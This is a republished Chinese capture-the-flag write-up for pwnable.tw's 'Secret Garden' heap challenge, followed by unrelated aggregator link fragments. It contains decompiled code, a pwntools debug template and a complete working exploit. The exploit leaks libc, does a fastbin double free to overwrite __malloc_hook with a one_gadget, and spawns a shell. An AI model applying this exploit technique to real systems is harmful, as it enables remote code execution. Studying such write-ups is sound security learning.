

和媳妇一起学Pwn 之 Secret Garden
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2020/03/21/garden/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。
利用方式:本题libc版本为2.23,故可以使用构造FastbinAttack的DoubleFree完成有约束的地址写任意值。题目开启了全部保护,所以首先通过堆排布的手段泄露libc基址。然后通过DoubleFree覆盖libc中的__malloc_hook函数指针为one_gadget,并触发即可getshell。
检查
➜ file secretgarden secretgarden: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cc989aba681411cb235a53b6c5004923d557ab6a, stripped ➜ checksec secretgarden Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
64位,动态链接,去符号表,保护全开
分析
仍然是菜单题目:种花,逛花园,扔了花,清理花园,回家。然后仍然是进行一系列的patch加改名。题目的代码稍微有一点点难看
add
int add() { _QWORD *flower; // rbx void *flower_name; // rbp _QWORD *v2; // rcx signed int v3; // edx unsigned int size[9]; // [rsp+4h] [rbp-24h] *(_QWORD *)&size[1] = __readfsqword(0x28u); size[0] = 0; if ( total_num > 0x63u ) return puts("The garden is overflow"); flower = malloc(0x28uLL); *flower = 0LL; flower[1] = 0LL; flower[2] = 0LL; flower[3] = 0LL; flower[4] = 0LL; __printf_chk(1LL, "Length of the name :"); if ( (unsigned int)__isoc99_scanf("%u", size) == -1 ) exit(-1); flower_name = malloc(size[0]); if ( !flower_name ) { puts("Alloca error !!"); exit(-1); } __printf_chk(1LL, "The name of flower :"); read(0, flower_name, size[0]); flower[1] = flower_name; __printf_chk(1LL, "The color of the flower :"); __isoc99_scanf("%23s", flower + 2); *(_DWORD *)flower = 1; if ( list[0] ) { v2 = &list[1]; v3 = 1; while ( *v2 ) { ++v3; ++v2; if ( v3 == 100 ) goto LABEL_14; } } else { v3 = 0; } list[v3] = flower; LABEL_14: ++total_num; return puts("Successful !"); }
show
int show() { __int64 v0; // rbx __int64 v1; // rax __int64 v2; // rcx __int64 v3; // rcx v0 = 0LL; if ( total_num ) { do { v1 = list[v0]; if ( v1 && *(_DWORD *)v1 ) { v2 = *(_QWORD *)(v1 + 8); __printf_chk(1LL, "Name of the flower[%u] :%s\n"); v3 = list[v0]; LODWORD(v1) = __printf_chk(1LL, "Color of the flower[%u] :%s\n"); } ++v0; } while ( v0 != 100 ); } else { LODWORD(v1) = puts("No flower in the garden !"); } return v1; }
del
int del() { int result; // eax _DWORD *v1; // rax unsigned int v2; // [rsp+4h] [rbp-14h] unsigned __int64 v3; // [rsp+8h] [rbp-10h] v3 = __readfsqword(0x28u); if ( !total_num ) return puts("No flower in the garden"); __printf_chk(1LL, "Which flower do you want to remove from the garden:"); __isoc99_scanf("%d", &v2); if ( v2 <= 0x63 && (v1 = (_DWORD *)list[v2]) != 0LL ) { *v1 = 0; free(*(void **)(list[v2] + 8LL)); result = puts("Successful"); } else { puts("Invalid choice"); result = 0; } return result; }
clear
unsigned __int64 clear() { _QWORD *v0; // rbx _DWORD *v1; // rdi unsigned __int64 v3; // [rsp+8h] [rbp-20h] v3 = __readfsqword(0x28u); v0 = list; do { v1 = (_DWORD *)*v0; if ( *v0 && !*v1 ) { free(v1); *v0 = 0LL; --total_num; } ++v0; } while ( v0 != &list[100] ); puts("Done!"); return __readfsqword(0x28u) ^ v3; }
数据结构
漏洞点
调试模板
因为程序开启了PIE,所以在调试打断时会有点麻烦,所以设计如下调试模板,参考:
from pwn import * # challenge information context(arch='amd64',os='linux',log_level='debug') myelf = ELF("./secretgarden") libc = ELF("./libc_64.so.6") io = process(myelf.path,env={"LD_PRELOAD" : libc.path}) rio = remote("chall.pwnable.tw",10203) # local libc local_libc_64 = ELF("/lib/x86_64-linux-gnu/libc.so.6") local_libc_32 = ELF("/lib/i386-linux-gnu/libc.so.6") # functions for quick script s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda numb=4096 :io.recv(numb) ru = lambda delims :io.recvuntil(delims) # misc functions uu32 = lambda data :u32(data.ljust(4, b'\0')) uu64 = lambda data :u64(data.ljust(8, b'\0')) leak = lambda name,addr :log.success('{} : {:#x}'.format(name, addr)) # one gadget one_gadget_16_04_32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6] one_gadget_16_04_64 = [0x45216,0x4526a,0xf02a4,0xf1147] one_gadget_18_04_64 = [0x4f2c5,0x4f322,0x10a38c] # base addr gdb_text_base = int(os.popen("pmap {}| awk ''".format(io.pid)).readlines()[1], 16) gdb_libc_base = int(os.popen("pmap {}| grep libc | awk ''".format(io.pid)).readlines()[0], 16) # debug function def debug(addr=0,cmd='',PIE=True): if PIE: addr = gdb_text_base + addr log.warn("breakpoint_addr --> 0x%x" % addr) gdb.attach(io,"b *{}\nc\n".format(hex(addr))+cmd) add = lambda len,name,color : (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color)) show = lambda : (sla("choice : ","2")) rm = lambda num : (sla("choice : ","3"),sla("garden:",str(num))) clear = lambda : (sla("choice : ","4")) add(500,"1","1") debug(0x107b,"x /100bx "+hex(gdb_libc_base+libc.symbols['__malloc_hook']-0x50)) add(500,"1","1") io.interactive()
利用
堆排布泄露libc
修改__malloc_hook
one_gadget利用约束
最终exp
from pwn import * context(arch='amd64',os='linux',log_level='debug') libc = ELF("./libc_64.so.6") io = remote("chall.pwnable.tw",10203) one_gadget = 0xef6c4 sla = lambda delim,data : io.sendlineafter(delim,data) add = lambda len,name,color : (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color)) show = lambda : (sla("choice : ","2")) rm = lambda num : (sla("choice : ","3"),sla("garden:",str(num))) # use unsorted bin to leak libc add(500,"1","1") add(40,"1","1") add(10,"1","1") rm(1);rm(0) add(500,"","1") show();io.recvuntil("flower[3] :") libc_addr = u64(io.recv(6)+'\x00\x00')-0x3c3b0a malloc_hook = libc_addr + libc.symbols['__malloc_hook'] # use fastbin double free attack to modify malloc_hook, the fake chunk addr is found by dynamic debug fake_chunk = malloc_hook-0x23 add(104,'1','1') add(104,'1','1') rm(4);rm(5);rm(4) add(104,p64(fake_chunk),'1') add(104,'1','1') add(104,'1','1') add(104,'a'*19+p64(libc_addr+one_gadget),'1') # call malloc by using double free error to satisfy one_gadget constraints rm(8);rm(8) io.interactive()
Recommend
-
83
请稍候... 请登录 (如果不想等待, 请点击这里)
-
101
问与答 - @yjxjn - - 我俩年龄都 27,家境差不多,她比我大 8 个月,都是同一小区业主,各自婚前买房。双方父母都有正式工作,退休金。- 女票银行柜员,本科对外经贸毕业,埃克斯特的金融硕士,银行缴纳六险一金较高。
-
124
程序员 - @jzj - 抓千库网回来,卖 PPT 模板~http://www.zheng888.cn
-
27
漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。 利用方式:题目的libc版本为2.27,支持tcache。所以可以利用悬空指针对放入tcache中的堆块再次free,即tcache dup实现任意地址写。在通过任意地址写...
-
4
和媳妇一起学Pwn 之 fengshui 发表于...
-
5
和媳妇一起学Pwn 之 BookWriter 发表于...
-
7
和媳妇一起学Pwn 之 babyfengshui 发表于...
-
6
和媳妇一起学Pwn 之 seethefile 发表于...
-
7
和媳妇一起学Pwn 之 hacknote 发表于...
-
15
和徐老一起学Pwn 之 Pwnable.tw CVE-2018-1160 发表于...
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK